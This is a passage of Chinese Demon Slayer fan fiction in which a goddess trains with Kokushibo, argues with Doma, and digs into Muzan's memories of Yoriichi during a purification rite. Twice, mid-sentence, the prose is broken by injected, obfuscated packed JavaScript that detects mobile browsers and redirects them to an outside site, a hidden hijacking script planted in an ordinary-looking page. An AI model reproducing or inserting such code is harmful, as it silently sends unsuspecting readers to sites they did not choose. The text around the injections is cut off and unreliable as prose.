我开始庆幸自己不是人类,因为试了几次后就发现,黑死牟大人所谓的“挡住”,意思是砍掉你的手。在一次又一次看着自己的手连着刀一起飞出去又再生时,我不禁感叹这位大人的徒弟里到底有几个人受得住每天没完没了被他砍手的。 看来这学剑技,不仅脸皮要厚,命也得大啊。 于是为了转移他的注意力,我开始东一句西一句的闲扯。 “黑死牟大人,您以前带兵打过仗吧?您这挥刀的动作着实狠辣啊…我出生的时候,已经没怎么见过大名们打仗了,他们都住在城外,每天坐着马车或者小船,顺着荒川到江户城里见将军大人…” 并没用,手还是飞了。 我捡回刀,长出手,契而不舍:“我还见过大奥里的女中们来河边赏樱呢,她们的衣服真的好漂亮,都是我没见过的布料和花色…” 刷的一下,这次飞出去的不止是手,他的剑刃离我的脖子不足一根手指的距离。 “剑士…最忌分神。”鬼剑士沉声道,“再多言,你的头…将和身体分离…” “……是!” 被砍了大概几百次手,我终于觉得哪里不对。黑死牟大人比我高出那么多,又是个用剑的老手,我的拔刀速度必然跟不上他,更不用说挥刀的轨迹一定已经被他看穿了。 得想点别的办法。 于是下一次,在感受到虚哭神去那凛冽的刀风前,我猛的让身体伏的更低,随后向前疾冲了一步,同时拔刀。 这一次竟然成功了。然而黑死牟大人的动作更快,微微后退就躲开了我的横斩。 但那只是个假动作,刀出鞘后的轨迹注定是横向,随后应当是站起身纵劈,但我再次低下身疾冲,同时刀刃一转,自下向上来了一记斜劈。 铮—— 黑死牟大人侧身架住了我的刀,不知为什么,感觉他像是微微叹了口气。 “剑道…不可胡来。”他声音冷冽地说,“亦不可…投机取巧。” “我倒觉得未必啊,大人,世间没有一成不变之事。我在业火之界时,就是用这招劈开了神灵狩的身体。我觉得还挺好用的…”我辩解道,“在战场上,管他什么胡来不胡来,能砍到对方最重要不是吗?” “此种伎俩…你只能用一次…第二次…就会被敌人看穿。”他淡淡道。 “所以是一击必杀啊,和居合斩没什么区别嘛,只是刀刃朝向不同而已。“ 感觉黑死牟大人已经不想跟我说话了。 慢着,我好像是要学他的暗月·宵之宫来着。 “对不起,是我错了。”我低下头小声说,“我总爱按自己的想法乱来,您别介意。” 一时兴起,忘了他最重视规矩和礼仪,我这种任意妄为的,基本可以肯定被讨厌了吧。 唉唉,真是丢人。 “你…果然不是…习练剑道之材。” 黑死牟大人直率地得出了结论。 啊…这下完了…我的拜师之旅就这样结束了吗? 这么回去的话大概会被那只鬼笑死。我几乎能想象童磨用扇子掩着脸,笑的像只白毛狐狸的样子了。 “然而…战法灵活多变…也很好。” 忽然听到他这么说,我有点震惊地抬起头,发现鬼剑士并未看我,而是凝望着某个不为人知的方向。 “我…正是被那样的后辈…所击败。” 莫名感受到那语气中带着一丝失落,我不禁有点不适应。 上弦之壹和童磨完全相反,除了那种不怒自威的气势之外,他是个只要和他待在一起,就令人感到稳重踏实的男人,好像只要这位大人在,不论什么事你都可以指望他,而只要他站在那里,就相当于立起了一座城池。 但这座城池是一座孤城,矗立于寒夜之中,永伫于时光之中,某个不为人知的角落早已爬满了裂痕。 “您不要这么想。我记得您上次对无惨大人说起过这件事,对方一共有四个人吧?四个人打您一个,这根本不公平嘛!”我有点忿忿地说道,“是他们不讲规矩,输了也不怪您。再说了,战斗这事,谁还没输过?” “输,即是死。” 黑死牟大人收起了刀,看样子是暂时 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“当然,但他们不愿沾染因果,所以从不插手,只是选择特定之人赋予某种才能,充当棋子罢了。”我答道。 “这是何意?” “比如按照我的推测,产屋敷家族正是这样的棋子。神明们厌恶鬼这种超越常理的生物,又不愿自己动手,就以诅咒的形式来逼迫产屋敷一族清理门户,因为无惨大人本是出自这一族,血脉上的联系,让他们之间产生了无法断绝的因果。而产屋敷家就真的以此作为使命传承千年,神明们当然也很慷慨,给了他们杀鬼所需的金钱、地位、头脑以及号召力,让他们能够召集起鬼杀队这样的组织。但所有这些天赋都不是白给的,产屋敷存在的意义就是杀鬼,除了杀鬼这个执念,别的什么也没能剩下。人类自以为传承的是自己不屈的意志和伟大的信念,其实只是神灵碰也不想碰的怨恨和业力罢了。” 一贯稳重的黑死牟大人竟罕见地有些恍惚。 “竟是…如此吗?但即便…是这样,拥有天赋之人…终究是…高不可攀。” “不论什么天赋,一定要付出相应的代价才能得到。”我喝着茶,缓缓道,“就像早云他们那些开了斑纹的剑士都活不过25岁一样,人的力量,本来不足以与强大的鬼匹敌,想要获得更强的力量,神明自然会从你身上剥夺其他的东西,比如寿命。这是为了因果的平衡,但人类往往只在乎眼前的事,不会考虑那么多。” “倘若有人…能活过25岁呢?”黑死牟大人沉沉地说,“既拥有…高不可攀的天赋,也拥有…寿命,连剑技…也能传承下来…” “这听起来倒是受到了神明的偏爱。”我笑了笑,“但必定有其他不为人知的代价。就拿我作为人类时的记忆说吧,因为眼睛比较特别,能看到常人看不到的东西,也算是种天赋,但代价是从小就被柳生家视为不祥之人,受到父母的厌恶,早早就被送到神社里当祭品…那样的人生,真不知道算是幸运还是不幸。” “是怎样的…感受?” “诶?”我蓦然发现黑死牟大人正目不转睛地盯着我,即使习惯了他的注视,六只眼睛造成的压迫感还是油然而生。 “您…指的是什么?” “拥有天赋…能看到…常人看不到的东西。” “这个嘛…倒是没感觉到多少好处,谁愿意天天看见一堆稀奇古怪的东西啊,和常人不一样的世界,是非常孤独的。”我苦笑,“如果问我的感受,我宁可不要那种天赋。江户的女孩子本来就地位低,母亲又只是妾室而已,整天被人叫做小怪物、邪祟什么的…就连上街买个点心,都能被正室的嫡子打个半死,按理说该叫他一声兄长的,可那种兄长…大概只想杀了我罢了。” “无依无靠的感觉是很糟糕的,黑死牟大人。”我放下茶杯,不由自主地陷入了回忆中,“那种感觉我记得很清楚,所以当那孩子突然出现在我面前,拦住了打我的人,还向我伸出手,问我要不要紧……真的让人以为是神明降临,因为从来没有人那样温柔的对待过我。” “他告诉我一切都不是我的错,我是个勇敢的女孩子。对当时的我来说,仅仅是这么两句简单的话,就让我觉得,我的生命并不是毫无意义的,我…有资格活在这个残酷的世界上,也必须活下去。” “真是的,我干嘛要跟您说这些无聊的事。”我回过神来,不好意思地笑道,“都是些陈年旧事了。大概是因为黑死牟大人总给人很放心的感觉,不由自主地就说了这么多话…” “无妨。”黑死牟大人淡淡地说,“我一生…只追逐剑术,生前确也不曾…听人说起…这样的事。” “那是否能容我问一句,您口中这个有天赋、受到神明偏爱的人到底是谁呀?”我有点好奇地问,“是您的朋友吗?” 他拿起茶杯的手微微一顿。 “是…我的胞弟,与我是双生子,却有着…超出常理的才能。” “黑死牟大人的剑技如此完美,为什么总要夸赞他人的才能?您自己也是无人能及的剑豪啊!”我不解地说,“您若是总记得他人的天赋和自己的失败,岂不是太过痛苦了吗?” “生之意义…和…死之悲哀…执着于此,本就令人苦痛。现在想来…我终究也…只是凡人罢了。“ 黑死牟大人放下了茶杯。 “继续吧。我只能…将月之呼吸的剑型…教给你,至于…能领会多少…就看你的才能了。” 70. 无限(3) “黑死牟大人的弟弟?” 童磨在脑内传讯的另一头笑的讳莫如深,“那可是个了不得的人物呐,不,在无惨大人的记忆里,那根本不是人类,而是怪物才对。” 我坐在树上啃着一颗金色的果子,“就是因为听说这个人有着超乎常理的才能,好像剑术相当厉害,连黑死牟大人都用高不可攀来形容,我想象不出来,那是能厉害到什么程度啊?” “厉害到让无惨大人几百年后想起来还害怕到发抖呢。那天开会时我不是差点说出来了嘛,你看看无惨大人那个样子,都已经下地狱了,还是连提都不让提,诶呀呀,也太可怜了,当年应该是被砍的不轻吧~” “能把无惨大人砍成重伤的人类?你确定那是人类吗?”我愕然道。 “我也有认真想过这个问题哦~那位缘一阁下,到底是不是人类呢?能让无惨大人都怕成这样的,不论从哪个角度讲,都不算人类吧,但听说那人做过鬼杀队的柱,在几百年前就老死了,会老死的,不是人类还能是什么?”童磨在那一头夸张地感慨起来,“啊,我懂了!黑死牟大人这是在思念亲人呀!多么感人的兄弟情!看来他一直深爱着弟弟哦~” 被他浮夸的语气恶心到,我差点把嘴里的果子喷出去。 “鬼杀队的柱…黑死牟大人的弟弟…我想起来了,我听早云他们说起过!这个人传授给了他们呼吸法,是第一个会用呼吸法的人,被称为日柱,那么他用的就是日之呼吸了?他的确重创过无惨大人,就是没能杀死他。但这人好像因为某种原因被赶出了鬼杀队,最后看来是作为人类寿终正寝了?” “被赶出鬼杀队倒是可以理解,毕竟黑死牟大人变成鬼了嘛。但如果是呼吸法的创始人,实力应该很强吧。可惜呀可惜,是人类的话就怎么都难逃一死,这位缘一阁下的英姿,我们是无缘得见啦~不过小染为什么要问起这件事呢?” “纯粹好奇而已,黑死牟大人的弟弟,还能让无惨大人怕到不行,童磨大人不觉得这个人很有意思吗?”我咬了口果子,“你那边在做什么?怎么感觉有杀气?“ “我在做好事呢,是吧,猗窝座阁下?”那只鬼语气欢快地说,“小染离开前不是说要我把水送给猗窝座阁下嘛,人家有在认真完成小染交代的工作哦,值不值得一个奖励?” “送个水而已,哪来的杀气?”我疑惑地说,“你不会是又在欺负狛治他们吧?” “怎么会呢,人家最大的优点就是乐于助人,不信你自己看嘛~” 不知道这家伙是怎么做到的,竟然真的能将画面也脑内传讯给我。 倒是确实看到了珠世留下的那间小屋,然而…狛治阁下被气到扭曲的脸和迎面飞来的桌子是怎么回事??? “猗窝座阁下,我真的只是来送水的呀~”我听见那边的鬼颇为无辜地说,“您这样可不行,我都说了多少次了,人类是打不过鬼的,一直指望特殊优待的话,是没办法变强的,弱者会死在地狱里没法转世的哦,就算您脑子不灵光,不会连这个道理也不懂吧?依我看,您还是变回鬼好了,我很乐意帮您哦。还有您身边的小姑娘,看起来脸色可不怎么好呢,要是没有给她喝净化过的水的话,可是会彻·彻·底·底的死掉呀~” “童磨,你不要再惹狛治阁下生气了!是恋雪出什么问题了吗?”我有点着急,“我马上回去一趟!” “小染,你的脑子也出问题了?”童磨在传讯里不紧不慢地说,“你刚刚才答应过无惨大人要去帮他做什么净化吧?现在大老远跑来这里,要是被那位大人发现,就会认定你跟他眼里的叛徒是一伙的,他倒是不一定舍得和你翻脸,但这两个人是死定了哦。” “你还好意思说我?你闹的这么大动静,就不怕被发现吗?” 我觉得自己早晚被这只鬼活活气死。我临出门前让他悄悄把水罐放在狛治他们门口就好,他偏要招惹对方跟他打一架,不知到底是出于什么诡异的心态? “人家早就想到这一点啦,所以用冻雾把整个区域都围起来了,现在这里是我的狩猎区,没人看得见里面发生了什么事,啊哈哈,这办法很聪明吧?况且无惨大人就算发现也不会说什么,毕竟他知道我和猗窝座阁下可是最好的朋友,一直都是通过玩闹来增进感情的嘛~” “好了好了,算我求你了,把水留下就走吧。”我只觉得头疼,“我会尽快找到开门的方法把他们送回去,普通人类的灵魂无法适应这里,这样下去恋雪怕是坚持不了多久。” 好在传讯那头终于安静了,只见狛治攥紧了拳头,皱着眉满脸厌恶的看着放在地上的水罐。童磨显然是后退了几步,笑嘻嘻地冲对方挥了挥手: “那我就回去了,猗窝座阁下,下次再见啦~” 我松了口气,忽然感觉刚刚视野里有什么奇怪的东西一闪而过。 “童磨大人,你手里拿的那是什么?” “诶?我在和猗窝座阁下道别呀~” “不对,你挥手时拿的是什么?” “哦,是说这个吗?” 视野里出现了一节苍白的手臂,长着尖利指甲的白嫩手指像一株奇异的水草,软绵绵的朝我摇了摇。 之所以软绵绵,是因为没连在主人的身体上。 那是一段女人的残肢,虽然是灵体,但竟然还保持着完整的状态,原主人应该实力不俗。 “是我在划出狩猎区时遇到的女孩子,至少有下弦的水平,味道还不错呢,剩下一点没吃完,就一起带过来啦,人家会好好吃干净的~” “童—磨—大—人!”我只感觉一腔怒火即将喷薄而出,“我是不是说过这些鬼的灵体没什么营养,也很容易沾染上死灵?无惨大人变成什么样子你是没看见吗?我才离开几天而已,你就又管不住嘴了?” “是无惨大人命令这些下级鬼互相吞噬的呀,这位可爱的小姐已经吃掉了好几十只鬼,所以营养还算说得过去,死灵的话,我有用血鬼术处理过哦。”鬼在那一头无比委屈地说,“小染竟然因为这点小事教训人家,我好伤心呀~” ……真是本性难移!想要上弦之贰不吃姑娘,简直比让老虎不吃肉还难! 然而比起那些石头一样的魔物晶核,肯定还是女性的灵体更能勾起他的食欲,况且鬼之一族一向遵从这样残酷的生存法则,我为什么非要为难上弦之贰这位鬼中之鬼? “……我错了,你就当我没说好了。”我捂着脑袋,听天由命地说:“所以你就是拿着这东西去跟人家打招呼的?” “对呀,我们之前都是鬼,猗窝座阁下不会介意这种小事啦~” ……黑死牟大人,请您砍死我吧! 比起某位不着调的吃货上弦,无惨大人的思路显然要清晰且现实的多。他和童磨都是冷酷无情的鬼,却是鬼里的两个极端。童磨缺乏对自我的执念,因此心性像孩子一样变化不定,心血来潮时会放过妓夫太郎兄妹,饿了也会坦然自若地吃姑娘。无惨大人的所思所想则是完全围绕着自己的生存问题,这一点在下地狱后显然也没有多少改观。 “白姬小姐,请坐。” 鬼王坐在他那张西洋风格的书桌后,优雅地抬了抬手,好像我才是那个求他帮忙的人,“我们已经是朋友了,不必客气。” “朋友”这两个字从他嘴里说出来真显得无比诡异。我确实也没客气,拽过一把椅子就坐下了。 这只活了一千年的鬼收敛了身上的暴戾之气,装得像个温文尔雅的商人,却依然像是涌动着岩浆的深渊,你完全不知道他什么时候会突然爆发,抑或只是静静等待着你自己跳进他张开的巨口里。 “既然我们是朋友,我就不跟大人您绕弯子了。”我说,“我先解释一下,祓禊这种法术本是源自伊邪那岐命从黄泉逃出后,在日向国的河中洗去污秽的净化仪轨,是水神的法术中最为精妙的一种。但我之前也仅仅为人类的灵魂做过而已,所以无法预计到可能遇到的所有情况。再者,您作为怨灵的怨念过于强烈,我首先需要找出令您产生怨恨和执念的源头,这个过程可能不那么令人舒服,因为会将您内心的恐惧暴露在我面前。您必须学会控制自己的心,才能做出明智的判断。” 无惨大人笑了笑,血色的眼睛里一丝温度也没有,语气却依然温和得体。 “我对你说的这种仪式并不陌生,白姬小姐,神泉苑的大祓祭是平安京的盛事,当时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“剿灭鬼杀队时,她趁乱跑了。您以为我不想找她?是她研制的毒药害了童磨大人,如果哪天您抓到她了,请记得告诉我一声。所以我们可以继续了吗?” 无惨大人看起来终于勉强相信了事情的合理性,他交叉起双手,好整以暇地看着我:“你还知道什么?” “我还知道您本来也是出自产屋敷家族,因为自幼体弱多病,被断言活不过20岁。一位医师带给了您一剂药,您却因为没耐心等待药效发挥作用而杀了他,导致您错过了那最重要的一味药引——青色彼岸花。这使您成为了不老不死、力量强大的鬼,但同时又惧怕阳光,无法克制食人的欲望。可惜的是,没人知道那东西长什么样,您的上弦们寻找多年也一直无果,对吗?” “那么你对此有什么看法,白姬小姐?”无惨大人忽然饶有兴致地问,“你是神灵,能不能告诉我,我追寻了千年的青色彼岸花,到底在什么地方?” “我确实是山林草木之神,我的能力是让草木生长,也能让枯萎的草木发芽开花。但我不是药师,人类如何称呼那些野外的植物,我没有兴趣。”我从他桌上拿起一本书随便翻了翻,发现都是看不懂的洋文,“但是,有一点我可以确定。” “您找的这种花,如果真的是花的话,应该是只在白天才开放的,而且开放时间不会太长。” “你以为我没想过?”鬼王冷笑道,“但我一千年来查阅过无数人类的书籍,并没有发现对这种花的记载。” “所以可能是开在人迹罕至的山里,甚至可能像昙花或是朝颜那样只开放很短的时间,平时则难以辨认。而鬼只能在夜间出没,人类又有能力上的局限。”我说,“倘若您愿意信任我,等回到人世,我可以帮您去找。您或许不了解,我的法术能让所到之处所有的花都暂时开放一段时间,不分昼夜和季节。” “呵呵,白姬小姐,我得承认,你是个聪明的女人,这对我来说是个不小的诱惑。”无惨大人的眼中亮起了灼然的光,像是见了血的野兽,“你开个价码吧,我知道你愿意帮我,一定是有想要的东西。” “我要的东西上次已经和您说的很清楚了,是消除产屋敷一族乃至与其相关的阴阳师的威胁。大人,我们有着一致的利益和目标,现在需要的只是相互信任,一起努力去维系这个盟约就好。” 他眯起了眼睛:“所以你现在打算做什么?祓禊的方法到底是什么?” 我微微一笑。 “请把您的手给我,我会将水神的灵力注入您的意识,让我们一起来找出这段千年因果的源头吧。” 71. 无限(4) 大正年间。 黎明将至,然而沦为一片废墟的战场上, 呐喊声此起彼伏。 “别让无惨跑了!” “一定要坚持到日出呀!” “用咱们的身体作为柱的盾吧!如果没有他们,咱们早就死在鬼的爪牙下了!不要怕,跟他拼了!” 鬼王在众人的追讨下仓皇逃窜,却被团团围困,一波接一波的鬼杀队士像不要命的飞蛾扑向火焰。鬼舞辻无惨失去了儒雅的样貌,化身为遍身利齿的恶鬼始祖,一身奇异的管鞭下血花飞溅,所过之处碾碎无数生命。 然而他注定逃不出生天。 外有戴着花札耳饰的少年,手中的日轮刀挥舞如烈焰,纵使面目全非,中毒已深,也要死死封住他所有的退路;内有女鬼珠世以四百多年刻骨铭心的恨意酿造的四种药物,以最大限度消耗着鬼王的体力和寿命。 强如鬼舞辻无惨,也终究败给了人类与鬼的团结、毅力、以及憎恨。 巨大而丑陋的婴儿在初升的太阳下寸寸化作灰烬,鬼王残余的灵魂和躯体依然疯狂地寻求生路,在最后一刻,他终于领会了人类的意念是何等强大之物,于是试图抓住那位濒死的少年,将自己的意志和鬼血强行灌注给他,以另一种形式寻求不灭。 “你的家人们早死光了,你的同伴们全都恨你,我不许你乐观,不许你相信他人,不许你心怀希望…过不了几个年头,你必死无疑!” “难道你听不见那些死者们的怨恨之声吗?他们都在高喊,凭什么只有你能活下去?凭什么自己失去了一切,只有你能全身而退?” “你可是被神选中的人啊!只有你能成为完美的究极生物!” 可惜,人类不买他的帐。那个少年只想回家,回到妹妹和朋友们身边。 像是回应这愿望,许多双手托起了少年的意识,那是他死在这条血路上的前辈们,那些灵魂们即便在肉身气绝后,也抱持着生前的信念,要为同类铺就通往幸福的未来之路。 鬼是凝固在时光中的生物,没有过去和未来可言。鬼王无法理解人类的信念,更不知道人类的爱和希望为何物,他残破不堪、扭曲变形的灵魂被打落到地狱的最底层,不仅一身力量全被这漫长的战斗消耗殆尽,强烈的愤恨和不甘更让他化作了怨灵,在燃烧不息的业火中发出凄厉的悲鸣: 不要走,不要丢下我一个人——! 我从鬼王这段死前的记忆中抽身而出,摇了摇头。 “这是果,而不是因。您在千年的岁月中无视他人的痛苦,以恶念造就了无数恶因,承受这些人的怨恨,是您早就注定了的报应。” “人类…不过是…一群忘恩负义的蝼蚁罢了…” 无惨大人脸色惨白,一条条青筋蔓延在扭曲的脸上。 “他们凭什么向我复仇?这些疯子…只当我是天灾不就好了?地震、火山、海啸…他们从不向天灾复仇,却非要找我的麻烦,妨碍我的事业…真是不可理喻…真是令人作呕…” “那个灶门炭治郎…竟然如此不识抬举…我看中他们兄妹能克服阳光的体质,是他的福气…一个祖祖辈辈在山里烧炭的小鬼…有什么资格蔑视我…” “那个珠世…我也待她不薄…她身患重病,求我把她变成鬼…我只是满足她的愿望,她却反过来对我恩将仇报…那个女人该死…她早该死了…” 他是真的恨他们。 我感觉自己的手都要被他捏碎了,赶快使劲抽出来。那幻境中的种种凌迟般的痛苦、像铁水般沸腾的愤怒和恨意,让我头疼到想吐。 这活儿明明应该让童磨来干。我晕头转向的想。他至少干了两百年类似的工作,比我这个神灵要轻车熟路多了。 作为神灵,我果然还是太年轻了,还不如一只鬼。 缓了缓,我倒了杯水给无惨大人,却被他挥手打翻在地。 “你让我看这种东西是什么意思?!” 鬼王似乎想要把一腔怒火全发泄在我身上。他全身黑气缭绕,面目狰狞,双眼红的像要滴出血来。 “嘲弄我?!让我难堪?!摧毁我的意志?!你这招想的妙啊!白姬小姐!” “我告诉过您祓禊不是一件让人舒服的事。”我退后了几步,因为他看起来想杀了我,“找不出症结所在,就化解不了您的怨念,您也没法回到人世去。” “给我闭嘴!你这蠢女人!轮不到你来教训我!”他把桌子上的东西一股脑推到地上,朝我嘶声咆哮。 这位大人的精神状态是一直这么不稳定吗? 亏他还好意思说童磨是疯子?跟他比起来,童磨的脾气好的像个菩萨! 我警惕地退到一排书架后,默默握着刀柄站定。 不仅那位姓灶门的少年想回家,我也想回家了。 回到我那座有檐廊有池塘还有笑眯眯的童磨大人的小房子里,而不是鬼王这恐怖压抑的幻境。 唉,真没出息,遇到点困难就想那只鬼。 谁叫他总是那么不慌不忙,游刃有余的。 这不行,我在地狱混了两百年,从来没这么软弱过!我可是个勇敢的神灵! 这事做完后无惨大人十有八九要杀我灭口,如果他做得到的话。但既然下了赌注,就没有半途而废的道理。 在这场赌局里,掷骰子的人不是他! “您不想继续的话,我就先回去了。” 我转身欲走。只见一条肉色的刺鞭朝我挥舞过来,堵住了我的去路。 “我允许你走了吗?!你敢违抗我的命令?!” “您不打人,我就不走。” 我转过身平静的说。鬼王黑发散乱,状若疯癫,看得出愤怒至极。 “住口!我说的话才是绝对!你这…” “我是在救您。”我提高了嗓音,干脆的说,“您活了一千年,敢问有几个人救过您?” 他被愤恨扭曲的面孔上终于露出了一线迟疑。 “救我…?”名为无惨的男人磔磔地怪笑起来,“呵呵…呵呵呵…你在说谎…你想杀我…你们都想杀我…以为我不知道吗?在这一千年里,你们每一年,每一天,每一秒都在计划怎么才能杀了我…” “您说的那是鬼杀队吧,而我是个好心的神灵。”我说,“我会救您的,请您相信我。” 说完这话,我靠着墙坐下,不再理他。 鬼王不愧是鬼王,大概这一千年中也没少吃亏,已经习惯了打落牙齿和血吞,过了片刻,那种极端的愤怒和焦躁像潮水般缓慢地从弥漫整个空间的气场中退去。他从一时的失态中冷静下来,很快找回了自信。 “你那所谓的法术可真不怎么样,白姬小姐。”他恢复了刻薄的语气,讥笑道:“和神泉苑的那群骗子神官没什么区别,根本一点用也没有。” “您之前那位医生给您治病用了多久?” 无惨大人皱眉:“你在说什么?” “被您杀掉的医生,知道青色彼岸花下落的那个。” “这种问题毫无意义,你在消耗我的耐心。” “我的意思正是您要有点耐心,大人。”我冷静的提醒他,“上一次缺乏耐心给您带来了什么后果,想必您比我要清楚吧?” “没有那个医师,我一样能找到青色彼岸花,只不过需要点时间。是这群猎鬼人一直在妨碍我,只要没有他们…” “那么容我问一句,一千年了,您和您的手下杀尽他们了吗?”我不客气地说道,“相反,人类越来越强大,您不会没发现这件简单的事吧?” 无惨不屑地嗤笑道:“人类强大的仅仅是技术,论及他们的软弱、自私和愚蠢,和一千年前没什么区别。如果没有猎鬼人,那些普通的人类只是我的玩物罢了。” “好吧,那么猎鬼人为什么杀您?那个叫灶门什么的少年,我从他眼中看到了巨大的仇恨,您对他做了什么?” “那家的兄妹二人很特别,我早就听闻他家的祖辈和那个怪物有联系,才做了个小小的实验,把血给了那一家人。没想到全都是些没用的东西,只活下来一个。”男人用冰冷如蛇的语气说道,“这兄妹俩先后被我变成了鬼,居然都能克服阳光,如果不是产屋敷碍事,我早就吃了那女孩,实现了我的梦想。” “真是引火烧身的行为啊,无惨大人。”我叹息道,“事到如今,您还没有吸取教训,真是太遗憾了。人类虽然软弱、自私、愚昧,但对同类和家人的爱,以及对异类的仇恨,能让他们做出远超您想象的事。而和人类相比,鬼永远是少数,在掌握绝对的胜算前,学会与人类共存才是鬼之一族的出路。” 黑发男人邪佞地一笑:“共存?怎么共存?你的意思是要我向这些蝼蚁低头认罪不成?” “在经历了这么多,又死了一次之后,如果您还认为这些追杀您一千年并且成功了的敌人是蝼蚁,那我无话可说。您明明感受到人类意念的强大了吧?连神灵都惧怕这种意念以及它带来的因果,您只是鬼而已。就算真的成为了所谓的完美生物,您也必须学会忍耐和谦虚,否则只是重蹈覆辙罢了。” 我拿起桌上的茶壶,倒了杯茶,“您的平安朝已经不在了,无惨大人,甚至现在也不是幕府的天下了,您生活在人类中间,应该比我们都明白这一点。如果能回到人世,到底该如何生存,您需要好好想一想。” 鬼王抬起那对梅红色的眼睛,嘴角挂着生意人的笑:“你的建议很有说服力,白姬小姐。我可以予以考虑。接下来你还打算做什么?” “我们来看看您说的那个怪物,他叫继国缘一,对吧?” 果然,他的脸色再次变得难看起来:“谁准许你在我面前提起那个人?况且他早在几百年前就已经死了。就算那个灶门炭治郎用了他的日之呼吸,威力也远不能和他相比。” “那少年还活着吧?说明这种剑技有人传承,您是打算现在把它的道理弄明白,还是下一次被追着砍的时候再后悔没早点了解您的敌人?” 鬼王面无表情的说:“不可能,在那个怪物死后,我和黑死牟已经把所有懂日之呼吸的剑士全部杀光了。这个灶门炭治郎也已经开了斑纹,活不了几年了。” 我睁大眼睛,惊讶道:“那就更该弄清楚了,说明这种呼吸法可能不是通过我们目前了解的方式进行传承的。” 他的目光闪烁了一下,微眯起眼睛:“这想法很有意思。我一直以为我是个足够谨慎的人,白姬小姐,但我不得不说,你也是个精明的女人,比我那群手下要能干的多,我很欣赏你的能力,你真的不打算为我效力吗?” 可悲的无惨大人,如果他没把自己的上弦们当成打手和肉盾,而是仔细去了解他们每一个人,就会知道童磨的脑子比我好使,妓夫太郎的行动能力也很强,然而自私和恐惧让他错过了一切。 我微笑:“那是回去以后的事,现在要完成的工作还有很多呢。咱们继续吧,大人。” 这一次的回忆倒是很短,因为那个名叫继国缘一的男人,他的剑太快了。 快到鬼王甚至没反应过来,头就已经掉了,身体更是四分五裂,没法复原。于是他干脆舍弃了身体,炸碎成漫天肉片逃命,其中大部分却还是在一阵灿若骄阳的剑气里化作灰烬。 不仅是无惨大人,连我都看的胆战心惊。 我从未见过速度这么快的、如同行云流水般流畅且完美的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252348|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斩击,那动作似乎并不是在杀人,也丝毫感受不到杀气,而更像是一场优美的舞蹈。 像是烈日流火般的舞蹈。 “这个人…真是黑死牟大人的弟弟?” 我皱眉问道。 无惨大人的声音依然有点僵硬:“那张脸你还看不出来吗?他们是双生子。” 黑死牟大人的六只眼睛容易令人忽略他的长相,但似乎好像确实…有那么一点相像。 “太奇怪了,完全不像是人类呢。”我喃喃道,随即又问:“他是天生就这样吗?” “从黑死牟的记忆来看,这怪物小时候好像有点毛病,从不开口说话,但有一天突然就能说话了,之后就在剑术上突飞猛进,后来不知道什么原因,成了鬼杀队的柱。”鬼王难得的克制住了自己的恐惧和耻辱感,开始冷静地谈论这件事,“对了,黑死牟提起过,这怪物眼中的世界是透明的。” “通透的视野。”我脱口而出,“这个人能看穿他人的身体。” 对于任何拥有身体的活物而言,这都是相当可怕的能力了,意味着你所有的动作乃至意图,都将在对方眼中一览无余。 无惨恨恨道:“他砍过的地方无法复原,那种刀我在最后那场战斗中也见到过,赫灼之刃…能阻止鬼的身体修复,带来灼烧般的剧痛。该死的…我竟然不知道他们什么时候…” 我深吸了一口气。 “就知道早晚会这样。你们鬼一直为自己强悍的恢复能力而骄傲,因此在防御上永远松懈,现在出现了这种奇怪的刀,你们最大的筹码已经没用了。” “你认为那是什么技术,白姬小姐?能让日轮刀变成仿佛刚从锻炉中拿出来的状态,我不知道他们是如何做到的。” 不容易啊,无惨大人竟然屈尊在问我的看法了。 “我也不知道。但就像斑纹一样,这些猎鬼人中间一定存在某种看不见的东西,使他们具有了常人所不能企及的能力,呼吸法只是一方面。”我思索道,“他们全都受雇于产屋敷家族,是吗?” “产屋敷似乎会有意去寻找这些被鬼杀死过家人的人,给予他们好处。”无惨冷笑,“我听那个叫狯岳的小子说过,他们赚的可不少呢。” “而您甚至都没给上弦们发过工钱吧?”我忍不住笑了出来,“无惨大人,过于吝啬是无法笼络人心的。” “我给了他们我的血,这还不够吗?”鬼王不满地说,“我将他们转化成永生的存在,他们该对我心怀感恩。” “按您这么说的话,产屋敷也从失去亲人的痛苦中解救了这些人,然而后面依然通过一系列的举动来吸引他们。有对鬼的仇恨作为动力,有丰厚的报偿维持生活,还能有同伴组成新的家庭,这些都是人类最需要的东西,难怪这些猎鬼人对产屋敷死心塌地。”我叹了口气,“而您一样也没做到,输掉又怪谁呢?” 无惨讥诮地看了我一眼。 “鬼不是人类,他们虽然怕我,但只要时机成熟,他们就会背叛我。那一次就是如此,在我的力量衰弱后,珠世那女人马上就脱离了我的掌控,投向了鬼杀队。如果不是躲在无人能找到的地方,恐怕我的那些属下会最先吃了我。” “如此只能说明,您和属下之间通过血脉来形成的这种压制关系并不可靠。您得想点别的办法,或者不要再如此轻率地制造眷属。”我轻轻敲了敲桌上那本洋文书,“您该多读点药学之外的书,无惨大人,没有嘲讽您的意思,但我在江户城住了多年,人类的大名在这一点上,做的可比您熟练多了。” 无惨大人笑了笑:“呵,这可是黑死牟的专长,如果不是执着于他那个不合常理的弟弟,他比谁都适合当个好城主。” “您看人的眼光很准确,黑死牟大人确实拥有那样的才能,只要在他身边我就会感觉很踏实。”我给他倒了杯茶,“我想再看看那最后一战的记忆,可以吗?” 这次他倒没有暴怒,只是带了点自嘲的意思:“你想看什么?看我是怎么死的?” “看那个叫灶门炭治郎的少年。他使用的剑技和继国缘一虽然相同,但动作要比那个男人慢的多,也许我们能找到其中的秘密。” 